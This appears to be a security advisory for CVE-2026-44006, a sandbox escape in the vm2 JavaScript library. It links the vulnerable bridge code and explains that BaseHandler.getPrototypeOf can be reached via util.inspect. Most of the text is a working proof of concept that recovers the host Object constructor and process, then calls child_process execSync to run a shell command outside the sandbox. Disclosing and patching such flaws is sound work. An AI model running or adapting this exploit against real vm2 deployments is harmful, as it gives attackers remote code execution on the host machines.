CVE-2026-44006: vm2: Sandbox Escape

Summary

It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes

Details

https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658

BaseHandler can be reached via util.inspect (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)

PoC js let obj = { subarray: Buffer.prototype.inspect, slice: Buffer.prototype.slice, hexSlice: () => '', };

let sym;

obj.slice(10, { showHidden: true, showProxy: true, depth: 10, stylize(a) { const handler = this.seen && this.seen[1];

if (handler && handler.getPrototypeOf) { gP = handler.getPrototypeOf; HObjectProto = gP(gP(gP(gP(Buffer)))); HObject = HObjectProto.constructor; sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0); } return a; }, });

obj = { [sym]: (depth, opt, inspect) => { inspect.constructor('return process')() .getBuiltinModule('childprocess') .execSync('id', { stdio: 'inherit' }); }, valueOf: undefined, constructor: undefined, };

WebAssembly.compileStreaming(obj).catch(() => {});

Impact Sandbox Escape -> RCE